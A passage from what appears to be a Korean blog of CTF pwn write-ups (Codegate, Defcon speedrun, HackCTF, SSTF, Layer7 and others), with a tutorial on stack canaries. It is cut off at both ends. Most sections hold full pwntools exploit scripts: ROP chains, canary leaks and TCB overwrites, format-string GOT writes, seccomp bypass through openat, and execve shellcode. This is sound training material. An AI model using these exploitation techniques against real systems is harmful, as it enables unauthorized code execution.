    qword_2020D0[v2](a1, v2);
    result = -1;
  }
  else
  {
    puts("Bye~~");
    result = 0;
  }
  return result;
}

익스는 간단하다.

1번 메뉴에서 범위를 자기가 512까지 지정할 수 있다. Buf를 Canary 위치 전까지 덮고 Write해서 카나리를 가져오면 된다.

그리고 Buf를 280만큼 덮고 write해주면 __libc_start_main+240 주소가 나온다.

이제 그냥 Canary 맞춰주고 oneshot 날려주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./so_ezpz')
p = process('./so_ezpz')
libc = e.libc
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)

sla('>','1')
sla('?','264')
s('A'*264)
sla('>','2')
p.recvuntil('A'*264)
canary = u64(p.recv(8))
log.info('Canary : ' + hex(canary))

sla('>','1')
payload = 'A'*264
payload += p64(canary)
payload += 'B'*8
sla('?',str(len(payload)))
s(payload)
# raw_input()

sla('>','2')
p.recvuntil(payload)

libc_base = u64(p.recv(6) + '\x00\x00') - (libc.symbols['__libc_start_main'] + 240)
log.info('libc_base : ' + hex(libc_base))

sla('>','1')
payload2 = 'A'*264
payload2 += p64(canary)
payload2 += 'A'*8
payload2 += p64(libc_base + 0x45216)
sla('?',str(len(payload2)))
sl(payload2)

p.interactive()

2019 Codegate aeiou

64bit 바이너리가 주어진다.

aeiou: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=1c2c4b1f2f26f776c18181389463bc18024091b4, stripped

보호기법은 Full RELRO, Canary, NX가 걸려있다.

[*] '/vagrant/ctfs/aeiou'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

pthread_create 함수로 스레드 생성해서 start_routine 함수를 실행해주는 부분이다.

int sub_401507()
{
  int result; // eax
  pthread_t newthread; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  pthread_create(&newthread, 0LL, start_routine, 0LL);
  result = pthread_join(newthread, 0LL);
  if ( result )
  {
    puts("oooooh :(");
    result = 1;
  }
  return result;
}

pthread_create Code : Link

pthread_create Description : Link

sub_400FF5 함수를 보면 입력한 수를 atoi로 정수로 변환해서 v2에 저장한다. v2 버퍼 크기는 0x1000인데 0x1000이상을 입력할 수 있다. 또 그 크기만큼 sub_401170 함수에서 입력을 받는다. 근데 문제는 카나리가 걸려있다는 점이다.

void *__fastcall start_routine(void *a1)
{
  unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
  char s; // [rsp+10h] [rbp-1010h]
  unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(&s, 0, 0x1000uLL);
  puts("Hello!");
  puts("Let me know the number!");
  v2 = sub_400FF5();
  if ( v2 <= 65536 )
  {
    sub_401170(0, &s, v2);
    puts("Thank You :)");
  }
  else
  {
    puts("Too much :(");
  }
  return 0LL;
}

pthread_create 함수에 쓰레드가 생성되면 이 쓰레드가 사용할 스택을 만들어주는데 이 쓰레드의 스택에 stack_guard 가 존재한다.

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessary the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
} tcbhead_t;

TCB 구조체를 보면 stack_guard 영역은 fs:0x28 Canary 영역의 값이다. stack_guard 와 Canary랑 비교하는데 Canary를 A로 쭉 덮고 stack_guard도 A로 쭉 덮으면 SSP를 우회할 수 있다.

TCB Overwrite : Link

익스는 간단하다. Canary를 A로 쭉 덮어주고 gadget들 이용해서 libc구해준다. stack pivoting으로 oneshot 날려주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
#context.log_level = 'debug'
e = ELF('./aeiou')
p = process('./aeiou')
libc = e.libc
prdi = 0x00000000004026f3 # pop rdi ; ret
prsi_r15 = 0x00000000004026f1 # pop rsi ; pop r15 ; ret
prbp = 0x0000000000400c70 # pop rbp ; ret
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda x : p.sendline(x)
s = lambda x : p.send(x)
bss = 0x00000000006040CA
leave_ret = 0x0000000000400d70 # leave ; ret

payload = 'A'*0x1008
payload += 'AAAAAAAA' # Canary
payload += 'AAAAAAAA'
payload += p64(prdi) + p64(e.got['system']) + p64(e.plt['puts'])
payload += p64(prdi) + p64(0) + p64(prsi_r15) + p64(bss) + p64(0) + p64(e.plt['read'])
payload += p64(prbp) + p64(bss-8)
payload += p64(leave_ret) 
payload = payload.ljust(0x2000,'A') # Canary dup

'''
payload = 'A'*0x1008
payload += 'realsung' # Canary
payload += 'AAAAAAAA'
payload += p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts'])
payload += p64(prdi) + p64(0) + p64(prsi_r15) + p64(bss) + p64(0) + p64(e.plt['read'])
payload += p64(prbp) + p64(bss-8)
payload += p64(leave_ret) 
payload = payload.ljust(0x17e8,'A')
payload += 'realsung' # Canary
'''

sla('>>','3')
sl(str(len(payload)))
s(payload)

libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - libc.symbols['system']
log.info('libc_base : ' + hex(libc_base))

sl(p64(libc_base + 0x4526a))

p.interactive()

[HackCTF]Basic_FSB

FSB 공부할겸 다시 풀어봤다. 이 문제 샤야테님 강의에 있던 문제랑 거의 유사하다.

int vuln()
{
  char s; // [esp+0h] [ebp-808h]
  char format; // [esp+400h] [ebp-408h]

  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 1024u, &s);
  return printf(&format);
}

메인에서 FSB가 터진다.

int flag()
{
  puts("EN)you have successfully modified the value :)");
  puts("KR)#값조작 #성공적 #플래그 #FSB :)");
  return system("/bin/sh");
}

printf@got를 flag주소로 변경해주면 될 것이다.

exploit.py

from pwn import *

e = ELF('./basic_fsb')
#p = process('./basic_fsb')
p = remote('ctf.j0n9hyun.xyz',3002)
offset = 2

payload = p32(e.got['printf'])
payload += '%' + str(e.symbols['flag'] - 4) + 'c'
payload += '%{}$n'.format(2)

p.sendlineafter(':',payload)

p.interactive()

CyberTalents One shot

메인은 간단하게 addr은 mmap으로 0xF77FF000 주소에 값을 메모리 매핑해주고 그 주소에서 mprotect로 권한을 준다. 그리고 strncpy 함수로 shellcode를 addr에 shellcode 길이만큼 복사해준다.

근데 addr 참조한 곳에 첫번째를 1로 바꾸고 다음 주소를 2로 바꿔준다.

그리고 밑에서는 s변수에 입력받고 pritnf(&s); 해주는데 이곳에서 fsb가 터진다.

밑에서 이 addr을 실행해주는데 shellcode를 보면 쉘을 띄워주는 쉘코드가 들어있다.

*addr =1 , *addr[1] = 2 이런식으로 되어있어서 shellcode를 실행해도 쉘이 안 뜬다.

그래서 이곳을 fsb를 이용해서 원래 쉘코드로 바꿔주면 된다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  _BYTE *addr; // [esp+14h] [ebp-114h]
  int v6; // [esp+18h] [ebp-110h]
  char s; // [esp+1Ch] [ebp-10Ch]
  unsigned int v8; // [esp+11Ch] [ebp-Ch]

  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  addr = mmap(0xF77FF000, 0x20u, 0, 34, 0, 0);
  v6 = mprotect(addr, 32u, 7);
  if ( addr == -1 || v6 == -1 )
  {
    puts("mmap() or mprotect() failed. Please contact admin.");
    exit(-1);
  }
  v3 = strlen(shellcode);
  strncpy(addr, shellcode, v3);
  *addr = 1;
  addr[1] = 2;
  printf("you have only one shot: ");
  fgets(&s, 255, stdin);
  printf(&s);
  (addr)();
  return 0;
}

shellcode는 이렇게 박혀있다.

strncpy 전에 보면 아까 매핑했던 주소에 0xf77ff000 이렇게 매핑되어있는 것을 볼 수 있다.

그리고 strncpy 이후 보면 이런식으로 shellcode가 들어간 것을 볼 수 있다.

*addr = 1 , *addr[1] = 2 을 실행한 후 주소에 매핑된 값을 보면 이렇게 1과2가 들어간게 보인다.

fgets에서 AAAA %p %p %p %p %p %p %p %p %p %p %p %p 이렇게 넣으면 printf(&s) 에서 AAAA 0xff 0xf7fbf5a0 (nil) 0xffffd2c4 0xffffd2c0 0x3 0xffffd444 0xf7ffd000 0xf77ff000 (nil) 0x41414141

이렇게 출력되는데 buf는 offset 11 (esp + 44)위치에 있고 offset 9 (esp + 36)를 보면 0xf77ff000 가 있다.

이 주소에 값을 덮어쓰면 shellcode를 실행할때 제대로 쉘을 띄울 수 있을 것이다.

그냥 gdb로 잘 보면 풀리는 문제였다 ㅎㅎ…

exploit.py

from pwn import *

e = ELF('./oneshot')
p = process('./oneshot')
#p = remote('35.222.174.178',31339)

payload = '%{}c'.format(0xc031)
payload += '%9$hn'

p.sendlineafter(':',payload)

p.interactive()

Stack Canary

64비트 기준으로 작성했습니다.

SSP 보호기법은 stack overflow를 방지하기 위한 보호기법이다.

SFP와 BUF사이에 canary를 삽입해서 frame pointer 와 return address가 변조되면 __stack_chk_fail 을 호출한다.

64비트 기준 : BUF, canary, SFP, RET, ARG

Link <- 보호기법에 대한 설명은 이곳에 정리 잘 되어있다.

#include <stdio.h>

int main(){
	char buf[256];
	gets(buf);
	puts(buf);
	return 0;
}

간단한 c 프로그램을 짜줍니다.

[*] '/vagrant/ctfs/canary'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

stack canary 걸어놨습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-110h]
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  gets(&s, argv, envp);
  puts(&s);
  return 0;
}

Canary 걸려있는 바이너리를 hexray로 보면 v5가 canary다.

Stack Canary가 있는 바이너리와 없는 바이너리를 비교하겠습니다.

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004005d6 <+0>:	push   rbp
   0x00000000004005d7 <+1>:	mov    rbp,rsp
   0x00000000004005da <+4>:	sub    rsp,0x110
   0x00000000004005e1 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004005ea <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005ee <+24>:	xor    eax,eax
   0x00000000004005f0 <+26>:	lea    rax,[rbp-0x110]
   0x00000000004005f7 <+33>:	mov    rdi,rax
   0x00000000004005fa <+36>:	mov    eax,0x0
   0x00000000004005ff <+41>:	call   0x4004c0 <gets@plt>
   0x0000000000400604 <+46>:	lea    rax,[rbp-0x110]
   0x000000000040060b <+53>:	mov    rdi,rax
   0x000000000040060e <+56>:	call   0x400490 <puts@plt>
   0x0000000000400613 <+61>:	mov    eax,0x0
   0x0000000000400618 <+66>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000040061c <+70>:	xor    rdx,QWORD PTR fs:0x28
   0x0000000000400625 <+79>:	je     0x40062c <main+86>
   0x0000000000400627 <+81>:	call   0x4004a0 <__stack_chk_fail@plt>
   0x000000000040062c <+86>:	leave
   0x000000000040062d <+87>:	ret
End of assembler dump.

Stack Canary ON


pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000400566 <+0>:	push   rbp
   0x0000000000400567 <+1>:	mov    rbp,rsp
   0x000000000040056a <+4>:	sub    rsp,0x100
   0x0000000000400571 <+11>:	lea    rax,[rbp-0x100]
   0x0000000000400578 <+18>:	mov    rdi,rax
   0x000000000040057b <+21>:	mov    eax,0x0
   0x0000000000400580 <+26>:	call   0x400450 <gets@plt>
   0x0000000000400585 <+31>:	lea    rax,[rbp-0x100]
   0x000000000040058c <+38>:	mov    rdi,rax
   0x000000000040058f <+41>:	call   0x400430 <puts@plt>
   0x0000000000400594 <+46>:	mov    eax,0x0
   0x0000000000400599 <+51>:	leave
   0x000000000040059a <+52>:	ret
End of assembler dump.

Stack Canary OFF


보호기법 해제한 것과 안한 것의 차이를 보면 아래 코드가 더 추가됐습니다.

   0x00000000004005e1 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004005ea <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005ee <+24>:	xor    eax,eax
   0x0000000000400618 <+66>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000040061c <+70>:	xor    rdx,QWORD PTR fs:0x28
   0x0000000000400625 <+79>:	je     0x40062c <main+86>
   0x0000000000400627 <+81>:	call   0x4004a0 <__stack_chk_fail@plt>

64비트 기준으로 QWORD PTR fs:0x28에 canary가 저장됩니다. (32bit는 gs:0x14) canary 는 __libc_start_main 함수에서 지정해줍니다.

main+11 : fs:0x28에 저장되어있는 canary를 rax에 저장해줍니다.

main+20 : canary를 rbp-0x8 위치에 저장합니다.

main+24 : 레지스터 초기화해줍니다.

main+66 : rbp-0x8에 넣었던 canary를 rdx에 넣어줍니다.

main+70 : rbp-0x8과 fs:0x28에 있던 카나리 값과 같은지 비교해줍니다.

main+79 : 두 값이 같으면 main+86(0x40062c)으로 가고 아니면 그냥 밑에 코드를 실행합니다.

main+81 : __stack_chk_fail 함수를 실행합니다.


__stack_chk_fail

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail_abort (false, "stack smashing detected");
}
strong_alias (__stack_chk_fail, __stack_chk_fail_local)

gdb로 자세히 보면 __fortify_fail 함수를 실행시켜줍니다. 내부에서 __libc_message 함수로 stack smashing detected 띄워주고 raise 함수 호출해서 syscall 234번 sys_tgkill 함수를 불러 pid를 죽이고 signal을 띄워줘서 종료시킵니다. 버전 마다 다를 수도 있습니다.

추가로 함수 리턴 값에 오버플로우가 나지 않는 코드는 컴파일하면서 Canary를 __stack_chk_guard 라는 전역변수에 저장합니다.


TCB (Task Control Block)

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
  int private_futex;
#else
  int __unused1;
#endif
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[5];
} tcbhead_t;

.. 추가 예정


틀린 부분은 댓글로 알려주시면 감사하겠습니다 ㅎㅎ

2019 SSTF bofsb

32비트 바이너리다. 메인은 1,2 입력받아서 각각 format에 Black, White 저장해준다. 그리고 name 주소를 magic code라면서 준다. 이름을 입력하는 곳에서는 bof가 터진다. 그리고 printf(format); 에서는 FSB가 터진다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+0h] [ebp-50h]
  int name; // [esp+4h] [ebp-4Ch]
  char *format; // [esp+44h] [ebp-Ch]
  unsigned int v7; // [esp+48h] [ebp-8h]

  v7 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts("Welcome to Othello game!");
  puts("Please select your color.");
  puts(" 1: Black");
  puts(" 2: White");
  printf(" > ");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    format = "Black";
  }
  else
  {
    if ( v4 != 2 )
    {
      puts("You selected a wrong number.");
      exit(0);
    }
    format = "White";
  }
  printf("okay, please remember this magic code: %p\n", &name);
  printf("Please enter your name: ");
  __isoc99_scanf("%s", &name);
  printf("%s, your color is ", &name);
  printf(format);
  if ( playOthello(v4) )
  {
    puts("Congrats, You Win!!");
    showFlag();
  }
  else
  {
    puts("Sorry, you lose.");
  }
  return 0;
}

playOthello 함수는 v4의 값이 33이면 showFlag 로 가서 flag 파일을 읽어서 출력해준다. 그러면 우선 v4의 값은 1 아니면 2인데 이를 바꿔주면 된다.

_BOOL4 __cdecl playOthello(int a1)
{
  printf("\n\nLet the games Begin... Your card is %x\n", a1);
  return a1 == 33;
}

name은 ebp-0x4C에 있고 format은 0xC에 존재하므로 name의 크기는 0x40이다. 여기서 name을 입력받을 때 0x40 이후 4바이트를 입력하면 format을 덮을 수 있다.

name 입력할 때 format을 v5(&name)으로 덮어버린다. 그러면 printf(format) -> printf(name)이 될것이다.

scanf는 공백으로 입력 값을 구분하므로 공백 없이 값을 넣어줘야한다.

payload : ‘A’*4 + “%p%p%p%p%p” + “A” * (0x40-len(전에넣었던만큼)) + p32(name)

이런식으로 넣어서 offset을 구해줄 수 있다. 그러면 0x41414141이 2번째에 나온다.

이제 AAAA 대신 v4를 넣어주고 29만큼 채운 후 %2$hn 으로 v4주소에 앞서 출력한 33바이트만큼을 넣어주고 64바이트만큼 채운 다음에 &name을 넣어주면 된다.

exploit.py

from pwn import *

context.arch = 'i386'
# context.log_level = 'debug'
e = ELF('./bofsb')
p = process('./bofsb')

p.sendlineafter('>','1')
p.recvuntil(': ')
name = int(p.recvline(),16)
v4 = name - 4
log.info('name addr : ' + hex(name))
log.info('v4 : ' + hex(v4))
'''
payload = 'A'*4
payload += '%p%p%p%p%p%p'
payload += 'A'*(0x40-len(payload))
payload += p32(name)
'''
payload = p32(v4)
payload += '%{}c'.format(33-4)
payload += '%{}$hn'.format(2)
payload += 'B'*(64-len(payload))
payload += p32(name)
p.sendlineafter(':',payload)

p.interactive()

2019 Layer7 CTF How old are you?

seccomp 걸려있는 바이너리다. orw하는 문제라는데 sys_open 이 막혀있어서 sys_openat 을 이용해서 bypass 해서 파일 읽어오면 될거다.

$ seccomp-tools dump ./seccomp
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0e 0x00 0x00000002  if (A == open) goto 0020
 0006: 0x15 0x0d 0x00 0x00000009  if (A == mmap) goto 0020
 0007: 0x15 0x0c 0x00 0x0000000a  if (A == mprotect) goto 0020
 0008: 0x15 0x0b 0x00 0x00000029  if (A == socket) goto 0020
 0009: 0x15 0x0a 0x00 0x00000038  if (A == clone) goto 0020
 0010: 0x15 0x09 0x00 0x0000003a  if (A == vfork) goto 0020
 0011: 0x15 0x08 0x00 0x0000003b  if (A == execve) goto 0020
 0012: 0x15 0x07 0x00 0x0000003e  if (A == kill) goto 0020
 0013: 0x15 0x06 0x00 0x00000065  if (A == ptrace) goto 0020
 0014: 0x15 0x05 0x00 0x0000009d  if (A == prctl) goto 0020
 0015: 0x15 0x04 0x00 0x00000130  if (A == open_by_handle_at) goto 0020
 0016: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0020
 0017: 0x15 0x02 0x00 0x00000208  if (A == 0x208) goto 0020
 0018: 0x15 0x01 0x00 0x00000221  if (A == 0x221) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

나이 묻고 아기 어른 머시기 하는 바이너리다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-110h]
  int v5; // [rsp+100h] [rbp-10h]
  int v6; // [rsp+104h] [rbp-Ch]
  int v7; // [rsp+108h] [rbp-8h]
  int i; // [rsp+10Ch] [rbp-4h]

  if ( !count )
    setup();
  v5 = 0;
  v7 = 0;
  v6 = 0;
  for ( i = 0; i <= 1; ++i )
  {
    printf("Input your age : ");
    v7 = _isoc99_scanf("%u", &v5);
    if ( v7 )
    {
      puts("Hello baby!");
      printf("What's your name? : ", &v5);
      read(0, &buf, 512uLL);
      puts("Okay! I know how you are now, baby :)");
    }
    else
    {
      puts("Hello adult!");
      printf("What's your name? : ", &v5);
      read(0, adult, 512uLL);
      v6 = strlen(adult);
      if ( v6 != 5 )
      {
        puts("Are you Korean?");
        exit(1);
      }
      puts("Okay! I know how you are now, adult :)");
    }
  }
  return 0;
}

익스는 간단하다. main함수에서 scanf를 우회해서 adult로 가게되면 adult가 bss영역이므로 이 곳에 입력 할 수 있으니까 open할 파일 이름을 넣어주면 된다. 근데 5글자 제한이라 \x00 으로 strlen bypass해주면 된다. 그리고 baby쪽에서 libc leak해주고 라이브러리 gadget들을 구해준 후 orw해주면 된다.

exploit.py

from pwn import *

# /home/seccomp/flag
# context.log_level = 'debug'
context.arch = 'amd64'
e = ELF('./seccomp')
p = process('./seccomp')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
prdi = 0x0000000000400eb3 # pop rdi ; ret
prsi_r15 = 0x0000000000400eb1 # pop rsi ; pop r15 ; ret
adult = 0x0000000000602060 # 0x200

p.sendlineafter(':','+')

payload = 'A'*5 + '\x00'
payload += '/vagrant/ctfs/flag.txt' + '\x00' # adult + 6
p.sendlineafter(':',payload)

p.sendlineafter(':','1')

payload2 = 'A'*0x110
payload2 += 'realsung'
payload2 += p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts'])
payload2 += p64(e.symbols['main'])
p.sendlineafter(':',payload2)

p.recvuntil(':)\n')
libc_base = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

prdi = libc_base + 0x0000000000021102 # pop rdi ; ret
prsi = libc_base + 0x00000000000202e8 # pop rsi ; ret
prdx = libc_base + 0x0000000000001b92 # pop rdx ; ret
prax = libc_base + 0x0000000000033544 # pop rax ; ret
syscall = libc_base + 0x00122198 # syscall  ; ret  ;  (1 found)

p.sendlineafter(':','1')

payload3 = 'A'*0x110
payload3 += 'realsung'
payload3 += p64(prdi) + p64(0) + p64(prsi) + p64(adult+6) + p64(prdx) + p64(0) + p64(prax) + p64(257) + p64(syscall)
payload3 += p64(prdi) + p64(3) + p64(prsi) + p64(adult+100) + p64(prdx) + p64(100) + p64(prax) + p64(0) + p64(syscall)
payload3 += p64(prdi) + p64(1) + p64(prsi) + p64(adult+100) + p64(prdx) + p64(100) + p64(prax) + p64(1) + p64(syscall)
#print len(payload3)
p.sendlineafter(':',payload3)

p.interactive()

2019 선린 고등해커 본선 simple

간단하게 read로 입력받는 바이너리다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-30h]

  alarm(60u);
  read(0, &buf, 1024uLL);
  return 0;
}

readalarm 아니면 __libc_csu_init 밖에 쓸만한 함수가 없었다. 가젯도 rdi, rsi밖에 쓸만한게 없다.

가젯이 없어서 csu를 이용하려고 했는데 다른 방법도 존재했다. syscall을 이용하는 방법이다.

prax gadget이 존재하지 않았는데 syscall을 부르기 위해 read@got를 0x5e로 overwrite할 때 read로 1바이트만 입력하므로 rax에는 1이 들어가 있다. 이를 이용해서 sys_write를 호출할 수 있다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./problem')
p = process('./problem')
libc = e.libc
prdi = 0x0000000000400603 # pop rdi ; ret
prsi_r15 = 0x0000000000400601 # pop rsi ; pop r15 ; ret

payload = 'A'*0x30
payload += 'realsung'
payload += p64(prdi)
payload += p64(0)
payload += p64(prsi_r15)
payload += p64(e.got['read'])
payload += p64(0)
payload += p64(e.plt['read'])

payload += p64(prdi)
payload += p64(1)
payload += p64(prsi_r15)
payload += p64(e.got['alarm'])
payload += p64(0)
payload += p64(e.plt['read'])
payload += p64(e.symbols['main'])

p.sendline(payload)
p.send('\x5e')

libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['alarm']
log.info('libc_base : ' + hex(libc_base))

payload2 = 'A'*0x30
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)

p.sendline(payload2)

p.interactive()

2019 Defcon CTF speedrun-003

쉘코드를 실행시켜야하는 문제다. 아래에서 쉘코드를 실행시켜주는데 조건을 만족 시켜아한다.

__int64 __fastcall shellcode_it(const void *a1, unsigned int a2)
{
  unsigned int len; // ST04_4
  __int64 (__fastcall *v3)(void *, const void *); // rax
  __int64 (__fastcall *dest)(void *, const void *); // ST10_8
  const void *v5; // rsi
  __int64 (__fastcall *v6)(void *, const void *); // rdi

  len = a2;
  v3 = mmap(0LL, a2, 7, 34, -1, 0LL);
  dest = v3;
  v5 = a1;
  v6 = v3;
  memcpy(v3, v5, len);
  return dest(v6, v5);
}

조건을 보면 우선 buf입력 길이는 30바이트고 \x90을 사용 못한다. 앞에 15글자와 뒤에 15글자 xor한 값이 같으면 shellcode_it 에서 shellcode를 실행시켜준다.

unsigned __int64 get_that_shellcode()
{
  int v0; // ST0C_4
  char v1; // ST0A_1
  char buf; // [rsp+10h] [rbp-30h]
  char v4; // [rsp+1Fh] [rbp-21h]
  char v5; // [rsp+2Eh] [rbp-12h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts("Send me your drift");
  v0 = read(0, &buf, 30uLL);
  v5 = 0;
  if ( v0 == 30 )
  {
    if ( strlen(&buf) == 30 )
    {
      if ( strchr(&buf, 0x90) )
      {
        puts("Sleeping on the job, you're not ready.");
      }
      else
      {
        v1 = xor(&buf, 15u);
        if ( v1 == xor(&v4, 15u) )
          shellcode_it(&buf, 30u);
        else
          puts("This is a special race, come back with better.");
      }
    }
    else
    {
      puts("You're not up to regulation.");
    }
  }
  else
  {
    puts("You're not ready.");
  }
  return __readfsqword(0x28u) ^ v6;
}

23바이트 쉘코드를 가져와서 패딩 7바이트를 넣어서 실행시켜줬다.

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./speedrun-003')
p = process('./speedrun-003')

# https://www.exploit-db.com/exploits/36858
# \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
'''a = 0
for i in range(15):
	a ^= ord(shellcode[i])
b = 0
for j in range(15,len(shellcode)):
	b ^= ord(shellcode[j])
print a
print b
'''

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05\x01\x01\x01\x01\x01\x01\x8b" # 23bytes
p.sendafter('Send me your drift\n',shellcode)

p.interactive()

2019 Defcon CTF speedrun-002

매우 간단한 바이너리다. strncmp로 비교해서 Everything ... 과 같으면 sub_400705 함수로 가는데 이 함수에서 취약점 터진다.

int sub_40074C()
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-590h]
  char v2; // [rsp+190h] [rbp-400h]

  puts("What say you now?");
  read(0, &buf, 300uLL);
  if ( !strncmp(&buf, "Everything intelligent is so boring.", 0x24uLL) )
    result = sub_400705(&v2);
  else
    result = puts("What a ho-hum thing to say.");
  return result;
}

v2의 크기는 0x400인데 2010만큼 받고있다..

ssize_t __fastcall sub_400705(void *a1)
{
  puts("What an interesting thing to say.\nTell me more.");
  read(0, a1, 2010uLL);
  return write(1, "Fascinating.\n", 13uLL);
}

왜인지 모르겠지만 원가젯이 안 먹혀서 그냥 system이랑 /bin/sh 구해서 익스했다..

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./speedrun-002')
p = process('./speedrun-002')
libc = e.libc
prdi = 0x00000000004008a3 # pop rdi ; ret
prdx = 0x00000000004006ec # pop rdx ; ret
prsi_r15 = 0x00000000004008a1 # pop rsi ; pop r15 ; ret
main = 0x00000000004007CE

p.sendlineafter('?','Everything intelligent is so boring.')

payload = 'A'*0x400
payload += 'realsung'
payload += p64(prdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(main)
p.sendafter('more.',payload)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))

p.sendlineafter('?','Everything intelligent is so boring.')

payload2 = 'A'*0x400
payload2 += 'realsung'
payload2 += p64(prdi)
payload2 += p64(libc_base + libc.search('/bin/sh').next())
payload2 += p64(libc_base + libc.symbols['system'])
p.sendlineafter('more.',payload2)

p.interactive()

2019 Defcon CTF speedrun-001

statically linked이고 stripped 돼있다.

speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped

여기가 main인거같다. 그냥 bof터진다. RELRO는 Partial이고 NX걸려있다.

__int64 sub_400B60()
{
  char buf; // [rsp+0h] [rbp-400h]

  sub_410390("Any last words?");
  sub_4498A0(0, &buf, 0x7D0uLL);
  return sub_40F710("This will be the last thing that you say: %s\n");
}

stripped 되어있어서 syscall 가져와서 익스해주면 된다. syscall gadget은 그냥 널려있는데 read syscall을 이용했다.

bss영역에 /bin/sh\x00 을 넣어주고 execve 로 쉘따면된다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./speedrun-001')
p = process('./speedrun-001')
prax = 0x0000000000415664 # pop rax ; ret
prdi = 0x0000000000400686 # pop rdi ; ret
prsi = 0x00000000004101f3 # pop rsi ; ret
prdx = 0x00000000004498b5 # pop rdx ; ret
main = 0x0000000000400B60
syscall = 0x00000000004498AC

payload = '\x90'*1024
payload += 'realsung'
payload += p64(prax) + p64(0)
payload += p64(prdi) + p64(0)
payload += p64(prsi) + p64(e.bss())
payload += p64(prdx) + p64(10)
payload += p64(syscall)
payload += p64(main)

p.sendlineafter('Any last words?',payload)
p.sendline('/bin/sh\x00')

payload2 = '\x90'*1024
payload2 += 'realsung'
